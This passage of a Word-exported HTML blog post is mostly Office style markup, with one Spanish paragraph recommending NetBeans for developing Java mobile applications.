<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
</span></div>
<div class="MsoNormal">
<br /></div>
</div>
<div class="MsoNormal">
<div class="MsoListParagraphCxSpLast" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;">
<br /></div>
<!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
<br />
<div class="MsoListParagraphCxSpFirst" style="mso-list: l0 level1 lfo1; text-indent: -18.0pt;">
<span style="mso-ansi-language: ES; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;"><span style="font: 7.0pt "Times New Roman";"></span></span></span><span style="mso-ansi-language: ES;"> 1- Necesitaremos
un entorno de desarrollo de java. Si bien el más orientado a desarrollo de
aplicaciones móviles es Eclipse, a mi personalmente me gusta mas trabajar con
netbean por lo que explicaremos como trabajar con éste en el desarrollo de
aplicaciones móviles. Por otra parte existen otros desarrollos muy interesantes
como motodeb, que también pueden ser muy útiles para esta tarea y que invitamos
a los mas curiosos a investigar.</span></div>
<div class="MsoListParagraphCxSpLast">
<span style="mso-ansi-language: ES;">Instalaremos
en primer lugar en Netbean lo necesario para trabajar con aplicaciones móviles:</span></div>
<div class="MsoListParagraphCxSpLast">
<br /></div>
<div class="MsoListParagraphCxSpLast">
<span style="mso-ansi-language: ES;"><!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--></span></div>
<div class="MsoListParagraphCxSpLast">
<span style="mso-ansi-language: ES;"><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
